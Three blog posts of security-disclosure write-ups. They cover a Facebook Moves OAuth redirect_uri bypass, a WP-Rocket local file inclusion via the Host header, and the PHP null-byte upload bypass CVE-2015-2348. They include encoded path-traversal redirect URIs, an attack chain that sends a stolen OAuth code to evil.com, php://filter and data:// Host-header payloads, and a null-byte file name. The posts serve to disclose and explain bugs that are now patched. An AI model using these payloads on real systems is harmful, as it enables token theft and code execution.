Facebook's Moves - OAuth redirect_uri bypass

3:53 PM

This is going to a very short post about a redirect_uri bypass technique I found in Moves.

Moves is a company owned by Facebook and one of the acquisitions in scope for the bug bounty program they are running.

I have written about an XSS bug caused in this same parameter entitled "Moves OAuth XSS" and this will cover a not so common redirect_uri bypass method.

Anyway, there are a lot of known ways to bypass redirect_uri's in OAuth, it all depends on what server side check we are facing and what limitation factors there are. for instance, in Facebook's case, if you set your applications allowed callback to https://www.anyurl.com/directory it will allow that+ anything following it. so https://www.anyurl.com/directory/anotherdirectory?y=xz is considered perfectly valid. some other sites like Coinbase & Uber implement it differently. and addition of any queries, directories or domains will be considered invalid so scenarios that worked on Facebook will be invalid.

That leaves some OAuth clients heavily misconfigured and sometimes causes serious issues like OAuth bypasses possible.

However, there are sometimes confusions on the server handling these urls (often since dealing with url encoded values) and some bypasses are possible. 
Consider a site that configured its allowed callback url to https://example.com/some/path.

Possible bypasses to tamper with sub-directories:

  1. https://example.com/some/path
  2. https://example.com/some/path/../../new/path
  3. https://example.com/some/path/%2e%2e/%2e%2e/new/path
  4. https://example.com/some/path/%252e%252e/%252e%252e/new/path (double encoded)
  5. https://example.com/new/path///../../some/path/
  6. https://example.com/some/path/.%0a./.%0d./new/path (for servers ignoring nonprintable CRLF chracters)   
 In moves case, I used the 5th example. it basically confuses the parser and thus let it assume /new/path/ is the allowed subdir.

PoC app: https://api.moves-app.com/oauth/v1/authorize?response_type=code&client_id=2KQ3D5coba76A5eg42mlu3L3Kd3btEeS&scope=location&redirect_uri=https://example.com/new/path///../../some/path/ (obviously patched)

That application, although configured to redirect to https://example.com/some/path it will redirect to https://example.com/new/path 

Attack Scenario:

Consider an open redirect in example.com like https://example.com/somepath/redirect?to=evil.com
If the developer set the callback to https://example.com/moves/callback he will expect the OAuth provider won't accept other paths. (so open redirect is low priority here)

However, using the bypass, we create our malicious path like:
https://example.com/somepath/redirect%3fto%3devil.com%23///../../moves/callback/

We encode the characters so it will be considered as a path and not tamper with the parser. 
the %23 (#) is added at the end to not let the other path following (../moves/callback) matter.

that will redirect to https://example.com/somepath/redirect?to=evil.com#/moves/callback?code=CODE (my precious) and we just get our stolen code via document.hash and game over!

Here is a video poc




Report Timeline

Apr 29 - Inital Report
May 6 - Triage
May 9 - Patch

bugbounty

Exploit-DB Local File Inclusion (Possible RCE/RFI)

8:05 PM



I am writing this blog post because both the teams that handled this bug were quite amazing. (Vulnerable 3rd party and Offensive Security) They acknowledged, fixed and rewarded my report in <1hr of my submission. (both of them) This, for someone with experience with responsible disclosure is unbelievable.

So it starts out like this, Offensive-Security's Exploit-db announced they just launched their new appearance. I checked it out, it’s quite beautiful, less darker and all… a white-hat’s place. It looked less like Inj3ctor and more like exploit-db. 

I noticed they are running wordpress, with a number of plugins. But they obviously were all updated and running latest version. I had to find a 0day. So I downloaded their new caching plugin for page performance, WP-ROCKET. (which by the way handled the bug quite well, and even acknowledged my report in multiple ways, Thank you!)

The code looked good, I found no SQLi, no XSS. But then, a very silly page seems to appear with a silly code.
/wp-content/wprocketfolder/inc/front/process.php line 44,

Says include ($rocket_config_path . $host . '.php');

Where $host is pre-defined as:

44: $host = trim(strtolower($_SERVER['HTTP_HOST']), '.');

This page can be accessed to anyone and requires no wordpress authentication. The HTTP_HOST header can be manipulated simply by tampering with the HOST header. (Edit: This is only applicable if certain Apache/php.ini are fulfilled.) I then wrote about the bug to Offensive-Security, they responded 12mins later saying they disabled the plug in.

In an LFI theory, an attacker can poison log files and include them as ../../logfile to cause Remote code execution. (RCE) Practically that would be hard to exploit for RCE because an attacker would need to bypass the WAF they are running called Sucuri. And also php doesn’t let null termination (%x00) work (because its patched since < 5.2.1), this would be difficult to achieve But...

This can be exploited by using php://filter for local file inclusion by sending a HOST headers like
php://filter/convert.base64-encode/resource=index then when the include happens, $host.'php'); our resource parameter will get index.php, this forces PHP to base64 encode the file before it is used in the include statement. From this point its a matter of then decoding the base64 string to obtain the source code for the PHP files. Simple yet effective..

Or This theoretically would also had been exploitable to RFI (Remote File Inclusion) if the path wasn't relative. In absolute URL cases, we can use the data:// Scheme to cause RFI. By encoding a PHP script in base64 and then URL encoding any special characters contained within this string we can successfully execute a script. Below example shows how phpinfo() can be executed using the above script to enumerate more information about the targe. Or a simple RCE by using the expect:// scheme (same as the one that caused the XXE RCE in Facebook)

<? phpinfo(); die();?>

// Base64 Encoded
PD8gcGhwaW5mbygpOyBkaWUoKTs/Pg==

// URL + Base64 Encoded
PD8gcGhwaW5mbygpOyBkaWUoKTs%2fPg==

// Final URL in HOST
data://text/plain;base64,PD8gcGhwaW5mbygpOyBkaWUoKTs%2fPg==

The die() statement is there to prevent the execution of the rest of the script or the execution of of the incorrectly decoded ".php" string which is appended to the stream.

Using a data stream over a standard remote or local file inclusion has several benefits:

  • It doesn't require a remote server.
  • Its doesn't require a null-byte to be appended to the end of the script.
  • It works behind a firewall that blocks outbound traffic.

However, exploitation was blocked because of a fair WAF called Suruci and The include being relative. Nevertheless, they treated the bug as critical as it is, and pushed a fix in < hr of my initial report  and added my name to their Special Thanks page.(of course with a bounty)!

Special Thanks to Julio Potier, a programer of the WP-Rocket team. He acknowledged my report, fixed the bug, and even issued a generous bounty.

Timeline

April 19, 6:54 am – Initial Report
April 19, 7:08 am – Confirmation
April 19, 7:43 – Complete Fix + Bounty

findings

Exploiting PHP Upload forms with CVE-2015-2348

4:06 AM

Today I would like to post about a recent bug I have found in PHP, CVE-2015-2348.
This bug is fairly severe. (considering the amount of developers & packages affected).
I have to admit checking the file extension and saying a file is safe can still cause many
other security issues. However, checking for this exact vulnerability in your code is pretty
unrealistic, considering it can pass the Content-Type, Extension, Mime type, size checks...
etc won't save you from this.

The issue occurs in the very popular move_uploaded_files php function that is used to handle
user uploaded files. This function checks to ensure that the file designated by
filename is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload
mechanism). If the file is valid, it will be moved to the filename given by destination.

Example:

move_uploaded_file ( string $filename , string $destination )

The problem with it is that there is a way to insert null-bytes (fixed multiple times before,
i.e: CVE-2006-7243). Using null-bytes an attacker can convince an upload box to ignore
extension checks and that the file is fairly safe and valid and upload malicious files that
can cause RCE. using the character \x00

I am going to take DVWA for an example here. DVWA's highest level is meant to be unbroken
for number of issues. the high upload box is meant to teach developers the safe way of handling
a safe upload. Lets just exploit that.

Here is the code snippet from https://github.com/RandomStorm/DVWA/blob/master/
vulnerabilities/upload/source/high.php:

$uploaded_name = $_FILES['uploaded']['name'];
$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
$uploaded_size = $_FILES['uploaded']['size'];

if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" ||
$uploaded_ext == "JPEG") && ($uploaded_size < 100000)){

if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {

$html .= '';
$html .= 'Your image was not uploaded.';
$html .= ''; }
else {
$html .= $target_path . ' succesfully uploaded!';
.
.

This is yes vulnerable to number of exploits (like XSCH, XSS and more), but not RCE.
Because since PHP 5.3.1 Null bytes are deprecated. The problem with DVWA is that its passing user provided name to the move_uploaded_file() - Expected behavior for PHP to create:

move_uploaded_file($_FILES['name']['tmp_name'],"/file.php\x00.jpg")

That file should have created the file "file.php\x00.jpg"

Reality is it creates: file.php

This clearly bypasses the extension check. It has been proven many times the GD libraries
can also be defeated ( getimagesize(), imagecreatefromjpeg()... ),
read this by @secgeek for example.

Now even if you have had done multiple checks for this, it will be highly unlikely you blacklisted
the char \x00 so most upload forms running PHP before 5.4.39, 5.5.x before 5.5.23, and 5.6.x
before 5.6.7 are vulnerable for this particular attack.

Closing:

If you are on a vulnerable server, update!